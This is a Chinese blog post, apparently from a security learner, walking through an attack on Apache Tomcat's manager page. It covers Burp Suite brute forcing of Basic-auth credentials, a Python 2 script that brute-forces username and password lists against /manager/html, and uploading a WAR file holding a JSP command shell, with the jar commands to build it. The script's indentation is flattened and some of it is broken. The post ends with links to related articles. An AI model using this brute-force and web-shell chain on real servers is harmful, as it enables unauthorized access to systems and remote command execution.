1.tomcat 用burpsuit进行弱口令爆破

先抓包





发送到inturder



payload type 选择custom iterater

第一个payload选用户名文件,第二个payload用 : 第三个选密码文件



设置base64加密,和去掉URL编码



开始攻击,得到用户名密码

2.用python脚本进行爆破

目前正在学习python,

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#by.really
import sys
import requests
import threading
import Queue
import time
import base64
import os
#headers = {'Content-Type': 'application/x-www-form-urlencoded','User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)'}
u=Queue.Queue()
p=Queue.Queue()
n=Queue.Queue()
#def urllist()
urls=open('url.txt','r')
def urllist():
for url in urls:
url=url.rstrip()
u.put(url)
def namelist():
names=open('name.txt','r')
for name in names:
name=name.rstrip()
n.put(name) def passlist():
passwds=open('pass.txt','r')
for passwd in passwds:
passwd=passwd.rstrip()
p.put(passwd) def weakpass(url):
namelist()
while not n.empty():
name =n.get()
#print name
passlist()
while not p.empty():
good()
#name = n.get()
passwd = p.get()
#print passwd
headers = {'Authorization': 'Basic %s==' % (base64.b64encode(name+':'+passwd))}
try:
r =requests.get(url,headers=headers,timeout=3)
#print r.status_code
if r.status_code==200:
print '[turn] ' +url+' '+name+':'+passwd
f = open('good.txt','a+')
f.write(url+' '+name+':'+passwd+'\n')
f.close()
else:
print '[false] ' + url+' '+name+':'+passwd
except:
print '[false] ' + url+' '+name+':'+passwd def list():
while u.empty():
url = u.get()
weakpass(name,url) def thread():
urllist()
tsk=[]
for i in open('url.txt').read().split('\n'):
i = i + '/manager/html'
t = threading.Thread(target=weakpass,args=(i,))
tsk.append(t)
for t in tsk:
t.start()
t.join(1)
#print "current has %d threads" % (threading.activeCount() - 1)
def good():
good_ = 0
for i in open('good.txt').read().split('\n'):
good_+=1
os.system('title "weakpass------good:%s"' % (good_)) if __name__=="__main__":
# alllist()
thread()

3.getshell

登录成功上传做好的war包,获得shell



成功

4.war包制作

   jar -cf test.war cmd.jsp
jar -cf shell.war cmd1/*

WEB中间件--tomcat爆破,burp和python脚本的更多相关文章

  1. 常见web中间件漏洞(四)Tomcat漏洞

    这部分好久没写了,继续更新web中间件漏洞思路整理(不复现) ,争取...整理完 前几篇指路链接: nginx: https://www.cnblogs.com/lcxblogs/p/13596239 ...

  2. nginx tomcat 自动部署python脚本【转】

    #!/usr/bin/env python #--coding:utf8-- import sys,subprocess,os,datetime,paramiko,re local_path='/ho ...

  3. Tomcat口令猜解工具【Python脚本】

    Tomcat 服务器网页部署,登录需用户名/密码,编写了一个简单的Python脚本来测试一些简单的弱口令. 测试环境:Tomcat版本 7.0 登录界面采用basic认证,Base 64加密一下,模拟 ...

  4. 一句话爆破速度提升一千倍python脚本

    这个脚本是接地提供的思路,一句话爆破速度提升一千倍,看了他的帖子然而没有看到工具,思路很牛逼,我提供一个Python脚本本地测试了下,十万密码只需要3秒,速度还是可以的 # coding:utf-8 ...

  5. linux+php+apache web调用python脚本权限问题解决方案

    lamp : linux + apache + mysql + php 在上篇随笔中linux+php+apache调用python脚本时出现的问题的根本原因是:apache运行时使用的apache用 ...

  6. linux+php+apache web调用python脚本权限问题

    lamp : linux + apache + mysql + php 在近期项目中使用 linux + apache + php调用python脚本是出现以下权限问题: build/bdist.li ...

  7. Web安全测试工具 Burp Suit 使用简介

    参考文档: https://blog.csdn.net/gitchat/article/details/79168613 https://www.cnblogs.com/nieliangcai/p/6 ...

  8. web中间件

    0x00 Web中间件概述 通俗来说,中间件是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通.Apache的Tomcat.IBM公司的WebSphere.BEA公司的WebLogic ...

  9. Web中间件 - 常见漏洞总结

    *文章来源:https://blog.egsec.cn/archives/472 *本文将主要说明:Web中间件常见漏洞的产生原因以及修复方案 什么是Web中间件? 百度百科是这样解释的:中间件是介于 ...

随机推荐

  1. 剑指offer-删除链表中重复的节点

    题目描述   在一个排序的链表中,存在重复的结点,请删除该链表中重复的结点,重复的结点不保留,返回链表头指针. 例如,链表1->2->3->3->4->4->5 处 ...

  2. Python内置函数(37)——sorted

    英文文档: sorted(iterable[, key][, reverse]) Return a new sorted list from the items in iterable. Has tw ...

  3. Spring知识点回顾(06)Profile 和 条件注解 @Conditional

    1.设定环境中的active profiles 如:DispatcherServerlet的init-param spring.profiles.active=production spring.pr ...

  4. Python入门之函数的形式参数与实参/参数的具体使用方法

    本篇目录: 一. 函数参数之形式参数与实参 二. 函数参数的具体使用 #1.位置参数:按照从左到右的顺序定义的参数 位置形参:必选参数 位置实参:按照位置给形参传值 #2.关键字参数:按照key=va ...

  5. 理解JavaScript中的call和apply方法

    call方法 总的来说call()有这几种作用:1.可以借用另一个对象的方法.2.改变this的指向(重要).3.将arguments数组化.下面详细介绍这三种作用: 1.可以借用另一个对象的方法:当 ...

  6. 道可道,非常道——详解promise

    promise 出来已久,以前一直使用,没有仔细剖析原理,最近在复习es6的知识,写一下自己对于promise的理解. promise是es6的一种异步编程解决方案,避免频繁的回调函数,增强代码的可阅 ...

  7. Android:ImageView控件显示图片

    1)android显示图片可以使用imageView来呈现,而且也可以通过ImageButton来实现给button添加图片. 2)在创建一个ImageView后,显示图片绑定元素是:android: ...

  8. Struts(二十六):文件上传

    表单的准备 想要使用html表单上传一个或多个文件 1.须把html表单的enctype属性设置为multipart/form-data 2.须把html表单的method属性设置为post 3.须添 ...

  9. html的基本结构

    html的基本结构 1.<html>内容</html> html文档的文档标记,也称为html开始标记 这对标记分别位于网页的最前端和最后端,表示开始和结束 2.<hea ...

  10. maven中scope标签以及exclusions 记录

    scope的分类 1.compile:默认值 他表示被依赖项目需要参与当前项目的编译,还有后续的测试,运行周期也参与其中,是一个比较强的依赖.打包的时候通常需要包含进去 2.test:依赖项目仅仅参与 ...